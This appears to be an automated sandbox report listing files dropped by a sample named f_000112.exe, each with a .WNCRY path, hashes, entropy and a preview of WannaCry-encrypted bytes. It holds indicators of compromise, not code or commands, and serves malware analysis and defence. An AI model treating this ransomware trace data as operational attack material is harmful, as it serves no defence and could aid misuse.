                                                                                                                                                                              SHA-512:948369CCB8DA6DC6AD6962DF45F13BA19CCAFAA120CDF1A5A3BDFF805931CC697A6D620F93B16396D4762E148BBB9AC5A874E9ECBE458604B257F454AA4E393C
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!......_.'K.0...%.V......P.......3#.W.e.dK..D.]..v..X.m~!.D..og...]. d.5u.*...Vd...Q..Z.?r.F../...KW?p.m.|S,h..).....M.\N..n.Q.......6.... [.E..4....VUc........BR..J.H.~......8..,.v....)..e.m.....*...z=..U5..?^#9..A(V..8r.n;.Z.e....V..O.;.P*p....&W.....8..........7!E.<....R....}.@'"....B.&...).&.....9.9f.....A7$`Q......w.b.....xw..ep.y.~....{C.....zk.Gl&..W.5W.i.; .I...x.Qx`*...V....X.{..d.q......]..{%G.:5..G.x..$...1......!....?l@].LN.G^..{v......g..z..J........c....._8.,.......v{...K.8.X.w=..O>.s..Di.....:.(*.B*=y.g.L.0.g...$h..*.9..`i.>.9....m..\...|,.lz.0C....D]......n}.....k.G.O[.?D#;...9R............0..,......g...j.x.3....................f...'^..=..A.........H...L....\..I..50!r.W+.'.qH.Y....t.&..h`...............C.4..b.$\.+.u...0C.K*....Ca.....E..qb.......H.4.Iq.3Y.~...m..n.x.}5oP.`....>.t..V.].%c.VP......\.!.R......m.Rn`..t@.a..cU...>U.ROF..U-ve...e.....Zg...q..kH. ...>U..S.F4-..W[....D.g..v!.. ,/E..M..a.....v..M>U6.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\hub-signature.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1256
                                                                                                                                                                              Entropy (8bit):7.833294787355614
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bkVf6ofr98gofox+CXfXEFUw832oAMiCViXJAilsKxMp7zr/uD6E2JA:bkkiPNXg832xCAXJVxG/jhW
                                                                                                                                                                              MD5:E0F205AF42B63835794EA165F8B35F54
                                                                                                                                                                              SHA1:FCBAF0C58DFFC8AD52E84716FC4F0F4D3E4BEE7A
                                                                                                                                                                              SHA-256:65CC5F1806B2B05374A04D87BE374D2421C7F0747DB4E5A3B892ABB16EE5B74D
                                                                                                                                                                              SHA-512:0C575DA2D9C6F31AE3CAE5B9FC784332CD15C80E2E0EDFB40290CD2F9360F6986A01030700A2FEF525D0402CA324B0C5F2DD0B14623985ED1213663217D64E49
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....l&..Z....W...M.....{...AO{.N..&.S...5...U:.9.J>..~...@7.1..s.:.... ..X..h...:M-]&=.....V.b...E.G..5.p.@.D.SO..xJ[.z..r.\.&>:..\n.)...!.k...~9Q.zN.L....+...... .*.......7L..<. y..{.........Z..z....$Hx.e..$..S.c.Fd.._M.Q...7r.7........w.*F.2/uQ*$.................N#f.....L...9!..AEf.m.....E....LN.!~......_..K.R4C..o.....q`w..g%.#....j1*D,.'.4.5....]ku...>...[..z...#w..w.V.....JX.|}..M..9..Rh.....F..e.........m6v.YQ..C..g.5t..3!.H".0U..I...C.c@.7&..@.....|.q..4..._..&..B.:._.Q.A..4.........#.....*X;.k...L....I....w`..d.nA..:.....c......h.zSU.p)..:.....a.B.Nbt??.%... ..a...yS.....\.....qZ..A....{.k.....H..5W......`...|.y...D....fM.`c..p..n.V..iEg..>.7".b..V..G..k=.>.b......9..M....H.fCn<g.*...K.C..Z..,.`..GGPJ..t..z.....7...LOLg..=..G..fn.WP...u.G.Hq.Q.R......E......k_+f.R.;r...xw.3..a.<A.....3.+#.+..'..^E.._B5WE..i.S7....TY...dDf.c..C.o..........2....<#.....(.'.u.."hk;...!t..."..O.*.u......h/.Oq...J>........a.'H....].. Y{

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\load-hub-i18n.bundle.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1624
                                                                                                                                                                              Entropy (8bit):7.884353166487124
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk1R95pES3TCWhuESeA4WOvJlSVU7OLB/wHArCi11xA+ZvqF7jwnh51Skm+Q0:bk1R9F3Ghpe37PULKiNYhkhxm+Q0
                                                                                                                                                                              MD5:ABBCE77CFD6C3A8A1B2414B2305CEB0E
                                                                                                                                                                              SHA1:D86C3973998C4ADD3640942CEC81BB339EF4535B
                                                                                                                                                                              SHA-256:40A3F5267F0065126AA1D27CE9FD902351510ABBC86F6A612D17E735A29BEA76
                                                                                                                                                                              SHA-512:92422997F213909D160A4EBA67B337363E10BEA44B2F5E28A6A688C7EC2A297D2381322BA5D815A8BA93E84DE66DC075B115CE8DD9A1489280075789994626BD
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....L..pK..s.Q4.TI..@.nY.GS_....D.V..}s..N.....qk#G..*^...%X...s.-...kO&n.......?K..z...h~.OR...eQ.....[N.f0...lU85\R*.......1.....-.Ov*....v......*p#.i.-.0'..B._b?.k.OH;...y........."....5.>.i`. ....q$.d.'.@18n..Z..v.w|....]...i.....B....f....]....4.........c.t.4.$.!..;.3a+MCo#d..d.....y..@...T.%>w........j.]S..Rieh.))..f..I#j%.0_/.S..:.....0a....j...b...'.<u.J.E..z;a5.D.*i.|..p...D+.).C....m.>..)Y........p.BU........%.....yn..l...~...#{f.....dc.............B6.........E.j......QN.F7...j........W5\9.v....SY...........V....aqX-..d~....]T*X..7Q.8M....d.9...N=..s0.zJ.7.4?PTddy...+\.J.R5F...6n.!....b&.5..s.FcC.O..4...#............P.E..o?+.....t...EGX2.8.' x.8!...5...Nh.I..1 .....x....Hl...P@......;....K......6.'F...)......B.h...O..Ig.;i.2..JWD.tn.....7O|J7...K1.k>\c.N._(..I....+.....5':..i.....R0/.ZMp......z^....2..y....kD.....K.6..j....K.+......l...J.q..%.x.....;.....w.:...y.....v(....ZjR0K=..........[c.G[.;, .k&c-9....d.n).2.u......f.

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\runtime.bundle.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2424
                                                                                                                                                                              Entropy (8bit):7.912882569881887
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bk32dNahk0jQ4iIA9QxF8wE50yIADERYXj4bSDIFGgJEGk/HLJC/exZFc:o36NaKGQ4i2Xyrz4bSMlEZrJCWxk
                                                                                                                                                                              MD5:F7192A4B4499414889F65CBDEC00AB75
                                                                                                                                                                              SHA1:F74CAD20F98632A4C8984A00393A3A99E4B140B2
                                                                                                                                                                              SHA-256:5A5CF6E4AA2AC4165E038CE01AAE48B3FEC182703FD26FCB8A89B09A5EA2CB0E
                                                                                                                                                                              SHA-512:A5270D4736B70D2F07A995580365A00B234AD2EAE7F7B0F2C450F04B611D690285B2B98829078703090209259012C84D8CD10E3216780EA10AB784520CF5E36D
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....M.h.../A?;]..H....8...........;2`...;a[...Q.=...<it.....Q....q.zF.K......y..4.00...(.....;.rQ.E..=I.?|..U..[....#Y6....P.|.8b|Ac.."..&1...0.`....u...._O!@.../.Q...k.9..*.,.*......VdM<..:1...v.....*.....ru..]..!.BeI.z...V I...w.....4.....(.......^.........S.).*+.gBe.Z....+U...CW.q..j......[..:8.+H^..2.>A....I}..A...",..~5..Py.PE.oN..........\.....U.0..7\...u:..L..F.j..J..6....^...;.Q......s._.)....6.eE.w"<. ..y.@..\PEN.N...j....R+.'...k......n.}.A..a[..F.'.... Tc.....*.W.. ..b.).....;77hZ......u......;^..a.5...9...[M..A#.xe.{..........I.O..*6.==..2$IO... .......Q..-.!....p.$..Xp$F.3.rb..7.,..S.i..bJ]...$......s...i\l...C...i.-...E...=.FxC....`}.....9.rs....q...........;......'....>."...w....Y..R'.L;.y...&.W.|...o$!........>A4...k.N:&..F(....u{....h.0.>v..%Q.J....0U...5......>D..J....}...'.PA....1...t..%?.Ej.F..I..{E.H]...$V.zihD........m4.....O.g.8......#.^......t......(.M..."....+..9...-S&.S[Ft...O....$..X.|.-..

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\shopping_iframe_driver.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):28904
                                                                                                                                                                              Entropy (8bit):7.99294208946404
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:384:z5mL3DMAyjpa/zEIip1E8g2ujZdm7NQWvD8Us/nzC69tB72nc1bVQiM9MVpf64o:0cRQ/zqp1E8e9A79vDIjtR2YBQiUWo
                                                                                                                                                                              MD5:75CF592CC50DD960AA4D3535D407D8E0
                                                                                                                                                                              SHA1:516982E92260AEF1B6A0F162566788C605192847
                                                                                                                                                                              SHA-256:606506B8FCA6FBD1CB61EE874C91DD57673B0CAA56D6726D4D9350BDEC16901B
                                                                                                                                                                              SHA-512:D572576CC963BA857CAA628D3FA956E44C5DACA58D3EBC09D6441FEB3030373B644887DF574E393D789E72F60CEEA551C4F09928A59073C338E37381581158D5
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!............'k%.m...v..e....8H.H3\.3......gV...n.m.&.j../...y....!..{U.A@...p^.k.?.._....s..D.f;.y<Q.....%....u.F.P.c.DP...e....lZ<...x=nik....R$..&...n.fy..#mi......}..{"...A#....5....B..1.....YMq(...U.#z.g.W{B..GrV5...0&.sy.\%ob.Q....D...b..:.q.....o..........q.[..P>.ul.....F.O6?...C..DwB.).wX..m..$4k.gdx.IW.....wD..H.~....j...)..u....i.d.gp}dM......<......(.Y...V.....y..~0.9.......<.Y....?...T`we+../..q...v...9c`b]4+a..........o.k..r8..j.|..5.....a...fE05...\...3.f..K..|>........".Lr...Ds.QU..}T1.,.M9L2j......2.m,.h..T(.../....xX...G;.....I..).h98V..G..@.I1.fS.~..&.....p~O..`..U.^.V...R...B4.=...m..O.ht?..(.o...1h]~Q.pKP.c.....a....=......)c.|7.....~8..X.3".H.'.sJ.....}.e..ZP.q...T."8...I.Y.b\...1...R....9...|.F.g./........E.5.".BIT<...-.f.:qU...K\..O.......6n|.!..~j..);...&....4..?.....8..DpJN.7...?.{.jj3`3.`A'...?.S..&.5.!...z...s.|7...}W|..P%z..@.hL.jw....WF......p..[...0I...c.b....o^...,TM&.`\....y.T....CdN.X........8

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js.LICENSE.txt.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2920
                                                                                                                                                                              Entropy (8bit):7.925651672307855
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:48:bkcaZ2LKKGDo+unwG8TjuOU4A9Z1oWApwdF6VA0CcsCCgdmmjx5iDqQp7kZW7FV1:ocO0GkSlvjU4AbhApwdF6VA0CcsCCgdW
                                                                                                                                                                              MD5:85E0C9F391375375755C6AF671510B90
                                                                                                                                                                              SHA1:9E1BB6E38A1B234E893622B1A4230B0760DFCD4F
                                                                                                                                                                              SHA-256:08037A24E868838FB31ECBE732C6418190A30D6649BF520518763D67352A0EED
                                                                                                                                                                              SHA-512:128731D61C97E1064CCA90F0645A7723B6FA89C124CE76661AF2E0E07839B84F3D4A6A92F6FF64B33DD40CF9CC00D8D396710A36C27A9ACBD704B321B9F04836
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....+.f.Cv.ev.4....q.CV....KoDk`V0..;..p.'5.D:.....+.N..3V....3.mZ.3..*[.<.G.^..e..xc*......ky;.4....;...z.m..<.'........}.QEJ.d..C..}.....=+..59.....aG......Ft(.-&.[X^..x.T..5.P..}...*].X.J..644....)F.,`M.}....a;.i. oD...0..pD...."..E.Xa...w-.{.dO.......F.......!...4..;...F*...B...X.Qf}....V.SV.N....k..;...@.J..4...w....OX...2.s.7.......M..&.$.._X..15.Z.\up._.NM&..Lt....B.....i8.M.../...?...W,.r..-y.M..o.Lt...._.Jg|..^...!...$'.5.$Q..#lCjLf....Jrb.n..RAZg+_...0R%..S...V.%....4.g...rq/.....9#..>b_{oS.o.Zn8?......QT......q......%..)"V3.#...m~..].....{...w.E...6}.v....:..|`.......-X.`WU.B....:..}..C...'5X^lv...so....zt-.....o.'k.!C.....X..o...Z...V/.{...`O..Pr.....C.<.{..<b)T.PGW_e..(.CR.q~.M....@......X.'..#.p..+...!.-......+....V...n..b.CV.5..3f...m.P.D.`.......bG.P...s....1.v.u+i.....r.u.Jr..e...s|.z.z..>....'....yw.q`&..}^..F...F.?Br....1...$.D{.V/M..+.%...Xf^.... .LH.d^.K.n....(.6.N.g....[..Sw?..+....5.G@j.......C.6-X`..r..O

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\vendor.bundle.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1441224
                                                                                                                                                                              Entropy (8bit):7.999891953379313
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:24576:uWop57rtDti30QOVq47Y5bM6fTTPLsBwpH8HUnqOd8pr0ECLAwoXi5/V5yd:uWop53tDE31CAB3Pm+cHUnqOdiYEdtOO
                                                                                                                                                                              MD5:D9550E7B697A0F3BCAE2FE887575E3FC
                                                                                                                                                                              SHA1:10C64C0B09F1F69D47844CE37821AFDA63FB6A58
                                                                                                                                                                              SHA-256:5E7F0BC6B3331ADBF84B59F5E7842229592B7711155C057EE263C54B5D48D388
                                                                                                                                                                              SHA-512:E3A9DCEF12465C2F6E09944D8E74C5B284AD4E5C5CC240D49902B3F7B6EC50F2F4BA20B7022B6454515A287AEEA7A1117DF9AF6C6BEA8A151FA00D4FF5BD8A28
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....}..."p..m.....9&v./...:.}.O...4.vU.C..5.....V.\.....-w>....Y.Y.NR.0.J.y....<....j..H.R.>a.n.....7..'*!.Q_.8"@3.|P...Hm...x.....3T.umk.+w......_{_*F..$....cx...@.G...Xc.4.}.....s.TxBI'....9..{.>..\.w..K..V...B..)7.3,.q.SH..7...z.......jc.Q=.8.............^. ......b...../T...0.....K..;.7.W.xe....F....&.T.V.i.9...<...|x......Z*....pT...yO...]O.*...8o..V..%.Pf...0....{..K..tT.f.x.}.a.(A......[.S.Lk.m.x.K...."..P..T.8...V...v....`./..L...,=.?.......$..i......3..0.I..$.-..........E.[...2[\..k.....K.3 S....ZH............T....;.....\..e.wE../7....!.....<...x...O......E........e.....p.`.....Iv.x.0....r..,.J?..C...%#..1k].kXz..J.....v`.....2K.....[.MRDQF"!.SJ.Fl4.}.7?...L._..M......n.3..G..p....G..R#..}...V.......<f.V]..Gh^.f1..@.L#.....T.!..>.....V..-(..I.Z.N.vzi....:.&...Z.}.#B..+e..<.(...5c...w....bm,.g|0+P.c....{T...<......&.trQZ:7..r=.rBm......{.G;.r....J...v....5.8,...nR^..mz.)...ZCC..#.e.o....9[..~^.&..8.a......;.r.Q..E.%;...R/z.0.-.\....S

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet.bundle.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2937064
                                                                                                                                                                              Entropy (8bit):7.99993241249752
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:49152:NnDlznOiMnBbXnDjGUfj8blF6mm7uzt5PkJKawqH/zq/RHXbf8zgS8ktX3tNE550:ND9OfnBbvGUfqF6mm7EFkM1qH/zqNLfC
                                                                                                                                                                              MD5:19B3EA9294A7F0E31D1C87CC5FBE4E6B
                                                                                                                                                                              SHA1:6F075D7FCEDDD087842DA211C4DB5BF201CC8241
                                                                                                                                                                              SHA-256:784B838A6E8F0EA0CF30294ADE7BCD2B23E0085993ED72BB46D2D088A263565B
                                                                                                                                                                              SHA-512:4DF57D21CBCECAB377C2FE6C3EF3C36892F6904399B56EC23566E4E946FE7BBE51E88C00D72AF75A3A6A4BA22FB830E0A8911CB688819B24BE24B4EC182BBB01
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.....C...R..R6...2..QX....Za......:a.@.}./...`.3..&P.\....8..*T...=.........Ti`>df/..@..d.......\+[spMD1.B.C=..(.....nF..jEI..L..?.Y..!.,.^.w.x..f.....d..@[@g.......o..B..OJ.KB..^.......sK..{.s./...0C....AF.82*...Om..+dc..Q...K..cj8.R...w~t;..#H,llO#.......,......>.....;{Ksu.v.r.X.....3.$..$.5.N..I.t..x.I.......R...*...?.Sf.ot.]M.{R..R..|...S.:..l. 6.w.........r...P~:aQ+..~....@.+b6..l..fd2q......yf.v(..N.......).[.[H...W.)}9../e.UJ..Zc....+.$..C..XF.......M5....V.$..kv.....[.m...G.a..N.RX>v..9..D......'..\.....bJ..`h.... ......,.....g..&0..@.)w...{:Z.....B..>.}..Kv....*..U.e.I.gU.wT].........#.P`1.N.Kz^..z...p!P...s2.P.F.d....T.. ...., 6l<.IJg$.T......i.....K..N..s^.<..Y..f*..!.[.D;Sw.kC...+...MY.tv.p| +.....Vl3...MQ.0R.....lg..*t.....g(I.&..G...4.;....%0....1j...%`.......m.......hY.+...pT..>]0.#....8.O`.b..).c.PO1`.]..I....'.b.....@z.B.K.......I..=}..E'./..:....-..d3.D.......i...g.Ae.q:`oW...8y.&..k.}|.]..}.r..d.K&.$]h...c

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Edge\User Data\Edge Wallet\116.16385.16360.19\wallet_donation_driver.js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):1160
                                                                                                                                                                              Entropy (8bit):7.801015876245078
                                                                                                                                                                              Encrypted:false
                                                                                                                                                                              SSDEEP:24:bk6bll+Yj/WhkObp152APDQ8hEX6mlqesjNtm2eKipuhYtp/x1:bkyllVj/Wh5p13PDph0fsjvli8K/z
                                                                                                                                                                              MD5:E850604EF1F698E8AC04A984BA2B98C2
                                                                                                                                                                              SHA1:59498E27572EF4F04E9F9A58B5C17FDD211F82CA
                                                                                                                                                                              SHA-256:9EEECF3C6F519E31AE6C1C811170E919A75673F75EE2C545BFBD7D9437E26399
                                                                                                                                                                              SHA-512:58C99DA719BA8308E1352613F2EDA3141B73CC9C3C5319EEE69D8D75804914DDB0C8FB7B7AF61AAE77B057DB3AA62494A67EDE11FB1B540B3E69300E03D8F1A0
                                                                                                                                                                              Malicious:false
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....1aPU.+L.h.y}<.{.h...E,l....M)...MiW.g.9.p...P.2i.\._....."...Lw....}.7H0?.(...^...4...7...2.[.V8.`..6{o...R.D}..v...6P..]...{.Y3.$.....-[C"`J,.w.q4%,L.D...Y.dSk.Pk?..QM...I.?.i....../..\.$m4..,ZJ..C.Y[N.,Z&... .N...M..pZ]a...d3.........qK.._u......a.......z<y.....R...z%..m-..a.@..._n........Rj?}.l.......@pH4Y.eW.dg_{..u....=.......~..&.6..q...`..E8.v=Y.A{^...-..H.O$9.@..G\yYa..I..........;.....=.....I....G....j..<.y..W.^)(.8o+......N.!..Y..E.c....>o 3.7v=.f...W...E.. .|[..yI.aN.E..@.....U.f...Y...l~..x..?K.\.P835.p.p.6y..-.....t.4.-w`..F.....3@.....&..*...u.i[,....|G>j\;.......yH..+..R..x+H.......l..u..n.....C..P.@...c6.).+..r....UG.0A.?0..?.j........u.{..3..]P..oL..Ez.I.....).^.......D.=..;.<....u..X.y.mJ...X..h.BY...fY.8.r...a.J..*.....)....b....@..u|....%...*....G......)t..*...=..uG...........E.c.J%*..aq$uTbC?....4t......*H...$..B....O..I....}.p........".O.:k){..Y.Y....=...^.!.....N4.2h$l......d........H.#......

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\INetCache\IE\90SNK17T\oneDs_f2e0f4a029670f10d892[1].js.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):190440
                                                                                                                                                                              Entropy (8bit):7.999011384866825
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:Cf4mkCszidqy9sMpIvXUAYgPlcT2IHMzTKA2Rcsp8xQ4/n36kS8O+TuUS1whF34z:CQg83wgw2uMP32oKk/nuUSqz4ONe
                                                                                                                                                                              MD5:0784BC7D7BE5E469CA9D8AE968A9A886
                                                                                                                                                                              SHA1:0F3CC89ACAA715CA1134185B4B907CD676FFD63B
                                                                                                                                                                              SHA-256:A71D8FAA5A2CC4B75FFA440A177AE59300B0EA88155044BDCD1E693FC9087DF7
                                                                                                                                                                              SHA-512:692B75FCDA20581B3620E7F3D1A919FF1C7396DB1890507B50AA5FC4FD9FE2A8A2AADE848576B420007EEE15421459CBCFF885EF267EECE219B29A19E41B03D1
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!.............k........U....v..cl.......7?+^..o..w*(...?a..h..D'"...]...HfmchR.o.#]..o...dixU......J..!.>5...X..}..c.#h...bw..q..X...2qC....1U....)..P3... .".w...6..mN......:.&7.A./m.t,&.D.b:.$...{.3.....M.u.$..n!.....r.s..C.).B....2.hj.Q...C...V..............q..,.X.>.(.E.yM..@.&h....D.X.....'0.k.;.3.XE..|2......4...N.z..E....n.|...H'....0!Z.=..R...X......z..&.@I.G...s...._..{W........I...{..s.>.4..E.8..*..i.....2.+.^2....A..|.....HW..,xnI.70.5.x%[.@..x.+.*.s].......V{.Q..S.....w...*-IFIq.RG...._.Q.M.X.8..y..LG{..j~t(#@..U..xf.1.._.."...................-..q.L0.b...oN:.A.1s......v..%D.?....3h..I..0.?uO.O....D.28...h/..`R...8u..........D..on.......N...vj.."...![..\...'.L.^4.#B.....th:....z[..O.l./...T.K8..&..H.[-o..u.....o.D...d..&.CFXk.)..t.j..... .B+..f1.dZ2.^...M..~..l..7.k.........Q5y;.2.....*.x.">B...|T.L.r.6[.L..|.....b..kIL...Pg.%YE..m..... ...2.P+...wqg.u..^..`..sP@...\...KKgu.uz...A9...0@z..b.).q.P...v.>..k5...)m..36~&

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\AppData\Indexed DB\IndexedDB.edb.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):2097432
                                                                                                                                                                              Entropy (8bit):7.999910470540804
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:49152:IAVP2eColONNBXfNKHg+Io46zzZVkEI1NtysArrtpP:++ONjN2hzwNcPrhpP
                                                                                                                                                                              MD5:6F7E88A61BC87EC7D95ED8D54EB04656
                                                                                                                                                                              SHA1:612A4361B4142100D27CC230A77A754A1F85C11E
                                                                                                                                                                              SHA-256:54E7EDA559CBF6EB784C2632BD23AFF4C519248492F1899B519E9087C6CAEC4C
                                                                                                                                                                              SHA-512:69D7BD4E8E9E0F9E74C93B75C8AD14E21BD25B7774F8B735890BD5D9D07B1E42F4513C4017686BC89F969F8991E1BFCCBC64947F09E788DE114F8BAFF88C7301
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
                                                                                                                                                                              Preview:WANACRY!....y..G.<.&D{...m0.b.`....Q;..k..rAn.C....,...."^.....BIl ..}..c.ohW|.&0....r.G.h...>H.....!...*....l..+w.5@..Za..0.|.c=....pq.l..s.......K.:X....Q..S....=.%'.g.......S.-..D........]`A...4/.5X|.I..i..r..[.]...4E..|~...K.e$...I....,.3.S..bh....%.K...... .........*L..T....}..{........ntG..QIs`..-HZ....`...L1..p.<..8. ..[.....!n.l.......(......|.c.}(Gl...|)......8.y!.....,.V..n..s%.1.......4.l."^:f3......G.....A(.J .VW.U....\.E.v..9~.....v..R8v.....VO.>[V...d.;.E}#).....vf.j..o.\.Zy.....s.q.U......=\..e ..O.....cc.x....*a.v......`..)z..gw..\.3...-+...Ick7..q=..)~c...'...U...7.Dd.a.....v,.,........._.j...,..\...k.8..[>_7.}.DX....k..w.....Z..8.v....8..Q..hYV&.\FV........MX...A.....6...n...............e4..4c!..;...23=........I%<Id.^..P..J.....i.8......"\..v.[.E*knQ.Ht9_..T(.yZ.$...s...R..I..Z1.R..HuV.jR..+....W..._.U6.3...d.....F..U8t)d./.W...7.......O..`..SC....y..[.e..,?..'=...6(|........M.5.....l/.MM.>..@....i..$!J...Y.y0..i.....~5}.%.P3

                                                                                                                                                                              C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ShellFeeds\GLEAM-DARK.svg.WNCRY (copy)

                                                                                                                                                                              Download File
                                                                                                                                                                              Process:C:\Users\user\Desktop\f_000112.exe
                                                                                                                                                                              File Type:data
                                                                                                                                                                              Category:dropped
                                                                                                                                                                              Size (bytes):103448
                                                                                                                                                                              Entropy (8bit):7.998157169896804
                                                                                                                                                                              Encrypted:true
                                                                                                                                                                              SSDEEP:3072:sy4Azk30+cD/3rqF+N6q8yyi2TiLIH7k7y:sylIkl/nyHTiLIbn
                                                                                                                                                                              MD5:28F0DC5847DD77F7F5517D33107C6B22
                                                                                                                                                                              SHA1:CE296543AEF9428D5D5DAAD5290C33CD00882FAF
                                                                                                                                                                              SHA-256:914DC70A79BA1BDE418608BF3F62FF03347EF0B69D7D0F8E78C10FD8786398A0
                                                                                                                                                                              SHA-512:3BA28B7B100FEB0C096ED66F47CB40BC834A8FC8B1C84FA037E5852C4F218EF7EF8C9DA1FF30C84C172043557D83AB5F12A7B5FEC6EE17A2F9E27D7923EC5833
                                                                                                                                                                              Malicious:true
                                                                                                                                                                              Reputation:unknown
